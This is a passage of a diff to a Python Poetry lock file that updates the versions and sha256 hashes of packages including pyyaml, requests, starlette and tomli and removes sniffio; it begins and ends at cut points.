"pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c"}, + {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc"}, + {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e"}, + {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea"}, + {file = "pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5"}, + {file = "pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b"}, + {file = "pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd"}, + {file = "pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8"}, + {file = "pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1"}, + {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c"}, + {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5"}, + {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6"}, + {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6"}, + {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be"}, + {file = "pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26"}, + {file = "pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c"}, + {file = "pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb"}, + {file = "pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac"}, + {file = "pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310"}, + {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7"}, + {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788"}, + {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5"}, + {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764"}, + {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35"}, + {file = "pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac"}, + {file = "pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3"}, + {file = "pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3"}, + {file = "pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba"}, + {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c"}, + {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702"}, + {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c"}, + {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065"}, + {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65"}, + {file = "pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9"}, + {file = "pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b"}, + {file = "pyyaml-6.0.3-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da"}, + {file = "pyyaml-6.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917"}, + {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9"}, + {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5"}, + {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a"}, + {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926"}, + {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7"}, + {file = "pyyaml-6.0.3-cp39-cp39-win32.whl", hash = "sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0"}, + {file = "pyyaml-6.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007"}, + {file = "pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f"}, ] [[package]] name = "pyyaml-env-tag" -version = "0.1" -description = "A custom YAML tag for referencing environment variables in YAML files. " +version = "1.1" +description = "A custom YAML tag for referencing environment variables in YAML files." optional = false -python-versions = ">=3.6" +python-versions = ">=3.9" groups = ["docs"] files = [ - {file = "pyyaml_env_tag-0.1-py3-none-any.whl", hash = "sha256:af31106dec8a4d68c60207c1886031cbf839b68aa7abccdb19868200532c2069"}, - {file = "pyyaml_env_tag-0.1.tar.gz", hash = "sha256:70092675bda14fdec33b31ba77e7543de9ddc88f2e5b99160396572d11525bdb"}, + {file = "pyyaml_env_tag-1.1-py3-none-any.whl", hash = "sha256:17109e1a528561e32f026364712fee1264bc2ea6715120891174ed1b980d2e04"}, + {file = "pyyaml_env_tag-1.1.tar.gz", hash = "sha256:2eb38b75a2d21ee0475d6d97ec19c63287a7e140231e4214969d0eac923cd7ff"}, ] [package.dependencies] @@ -2792,14 +2901,14 @@ files = [ [[package]] name = "requests" -version = "2.32.4" +version = "2.32.5" description = "Python HTTP for Humans." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main", "docs"] files = [ - {file = "requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c"}, - {file = "requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422"}, + {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, + {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, ] [package.dependencies] @@ -2814,14 +2923,14 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "requests-file" -version = "2.1.0" +version = "3.0.1" description = "File transport adapter for Requests" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "requests_file-2.1.0-py2.py3-none-any.whl", hash = "sha256:cf270de5a4c5874e84599fc5778303d496c10ae5e870bfa378818f35d21bda5c"}, - {file = "requests_file-2.1.0.tar.gz", hash = "sha256:0f549a3f3b0699415ac04d167e9cb39bccfb730cb832b4d20be3d9867356e658"}, + {file = "requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2"}, + {file = "requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576"}, ] [package.dependencies] @@ -2996,18 +3105,6 @@ files = [ {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] -[[package]] -name = "sniffio" -version = "1.3.1" -description = "Sniff out which async library your code is running under" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev"] -files = [ - {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, - {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, -] - [[package]] name = "socksio" version = "1.0.0" @@ -3022,26 +3119,26 @@ files = [ [[package]] name = "soupsieve" -version = "2.7" +version = "2.8.3" description = "A modern CSS selector implementation for Beautiful Soup." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main", "docs"] files = [ - {file = "soupsieve-2.7-py3-none-any.whl", hash = "sha256:6e60cc5c1ffaf1cebcc12e8188320b72071e922c2e897f737cadce79ad5d30c4"}, - {file = "soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a"}, + {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"}, + {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"}, ] [[package]] name = "starlette" -version = "0.47.2" +version = "0.52.1" description = "The little ASGI library that shines." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "starlette-0.47.2-py3-none-any.whl", hash = "sha256:c5847e96134e5c5371ee9fac6fdf1a67336d5815e09eb2a01fdb57a351ef915b"}, - {file = "starlette-0.47.2.tar.gz", hash = "sha256:6ae9aa5db235e4846decc1e7b79c4f346adf41e9777aebeb49dfd09bbd7023d8"}, + {file = "starlette-0.52.1-py3-none-any.whl", hash = "sha256:0029d43eb3d273bc4f83a08720b4912ea4b071087a3b48db01b7c839f7954d74"}, + {file = "starlette-0.52.1.tar.gz", hash = "sha256:834edd1b0a23167694292e94f597773bc3f89f362be6effee198165a35d62933"}, ] [package.dependencies] @@ -3068,14 +3165,14 @@ widechars = ["wcwidth"] [[package]] name = "tldextract" -version = "5.3.0" +version = "5.3.1" description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "tldextract-5.3.0-py3-none-any.whl", hash = "sha256:f70f31d10b55c83993f55e91ecb7c5d84532a8972f22ec578ecfbe5ea2292db2"}, - {file = "tldextract-5.3.0.tar.gz", hash = "sha256:b3d2b70a1594a0ecfa6967d57251527d58e00bb5a91a74387baa0d87a0678609"}, + {file = "tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9"}, + {file = "tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb"}, ] [package.dependencies] @@ -3090,79 +3187,94 @@ testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ru [[package]] name = "tomli" -version = "2.2.1" +version = "2.4.0" description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] markers = "python_full_version <= \"3.11.0a6\"" files = [ - {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, - {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, - {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ece47d672db52ac607a3d9599a9d48dcb2f2f735c6c2d1f34130085bb12b112a"}, - {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6972ca9c9cc9f0acaa56a8ca1ff51e7af152a9f87fb64623e31d5c83700080ee"}, - {file = "tomli-2.2.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c954d2250168d28797dd4e3ac5cf812a406cd5a92674ee4c8f123c889786aa8e"}, - {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8dd28b3e155b80f4d54beb40a441d366adcfe740969820caf156c019fb5c7ec4"}, - {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e59e304978767a54663af13c07b3d1af22ddee3bb2fb0618ca1593e4f593a106"}, - {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:33580bccab0338d00994d7f16f4c4ec25b776af3ffaac1ed74e0b3fc95e885a8"}, - {file = "tomli-2.2.1-cp311-cp311-win32.whl", hash = "sha256:465af0e0875402f1d226519c9904f37254b3045fc5084697cefb9bdde1ff99ff"}, - {file = "tomli-2.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:2d0f2fdd22b02c6d81637a3c95f8cd77f995846af7414c5c4b8d0545afa1bc4b"}, - {file = "tomli-2.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a8f6e44de52d5e6c657c9fe83b562f5f4256d8ebbfe4ff922c495620a7f6cea"}, - {file = "tomli-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8d57ca8095a641b8237d5b079147646153d22552f1c637fd3ba7f4b0b29167a8"}, - {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e340144ad7ae1533cb897d406382b4b6fede8890a03738ff1683af800d54192"}, - {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db2b95f9de79181805df90bedc5a5ab4c165e6ec3fe99f970d0e302f384ad222"}, - {file = "tomli-2.2.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40741994320b232529c802f8bc86da4e1aa9f413db394617b9a256ae0f9a7f77"}, - {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:400e720fe168c0f8521520190686ef8ef033fb19fc493da09779e592861b78c6"}, - {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:02abe224de6ae62c19f090f68da4e27b10af2b93213d36cf44e6e1c5abd19fdd"}, - {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b82ebccc8c8a36f2094e969560a1b836758481f3dc360ce9a3277c65f374285e"}, - {file = "tomli-2.2.1-cp312-cp312-win32.whl", hash = "sha256:889f80ef92701b9dbb224e49ec87c645ce5df3fa2cc548664eb8a25e03127a98"}, - {file = "tomli-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:7fc04e92e1d624a4a63c76474610238576942d6b8950a2d7f908a340494e67e4"}, - {file = "tomli-2.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4039b9cbc3048b2416cc57ab3bda989a6fcf9b36cf8937f01a6e731b64f80d7"}, - {file = "tomli-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:286f0ca2ffeeb5b9bd4fcc8d6c330534323ec51b2f52da063b11c502da16f30c"}, - {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a92ef1a44547e894e2a17d24e7557a5e85a9e1d0048b0b5e7541f76c5032cb13"}, - {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9316dc65bed1684c9a98ee68759ceaed29d229e985297003e494aa825ebb0281"}, - {file = "tomli-2.2.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e85e99945e688e32d5a35c1ff38ed0b3f41f43fad8df0bdf79f72b2ba7bc5272"}, - {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac065718db92ca818f8d6141b5f66369833d4a80a9d74435a268c52bdfa73140"}, - {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d920f33822747519673ee656a4b6ac33e382eca9d331c87770faa3eef562aeb2"}, - {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a198f10c4d1b1375d7687bc25294306e551bf1abfa4eace6650070a5c1ae2744"}, - {file = "tomli-2.2.1-cp313-cp313-win32.whl", hash = "sha256:d3f5614314d758649ab2ab3a62d4f2004c825922f9e370b29416484086b264ec"}, - {file = "tomli-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:a38aa0308e754b0e3c67e344754dff64999ff9b513e691d0e786265c93583c69"}, - {file = "tomli-2.2.1-py3-none-any.whl", hash = "sha256:cb55c73c5f4408779d0cf3eef9f762b9c9f147a77de7b258bef0a5628adc85cc"}, - {file = "tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff"}, + {file = "tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867"}, + {file = "tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9"}, + {file = "tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95"}, + {file = "tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76"}, + {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d"}, + {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576"}, + {file = "tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a"}, + {file = "tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa"}, + {file = "tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614"}, + {file = "tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1"}, + {file = "tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8"}, + {file = "tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a"}, + {file = "tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1"}, + {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b"}, + {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51"}, + {file = "tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729"}, + {file = "tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da"}, + {file = "tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3"}, + {file = "tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0"}, + {file = "tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e"}, + {file = "tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4"}, + {file = "tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e"}, + {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c"}, + {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f"}, + {file = "tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86"}, + {file = "tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87"}, + {file = "tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132"}, + {file = "tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6"}, + {file = "tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc"}, + {file = "tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66"}, + {file = "tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d"}, + {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702"}, + {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8"}, + {file = "tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776"}, + {file = "tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475"}, + {file = "tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2"}, + {file = "tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9"}, + {file = "tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0"}, + {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df"}, + {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d"}, + {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f"}, + {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b"}, + {file = "tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087"}, + {file = "tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd"}, + {file = "tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4"}, + {file = "tomli-2.4.0-py3-none-any.whl", hash = 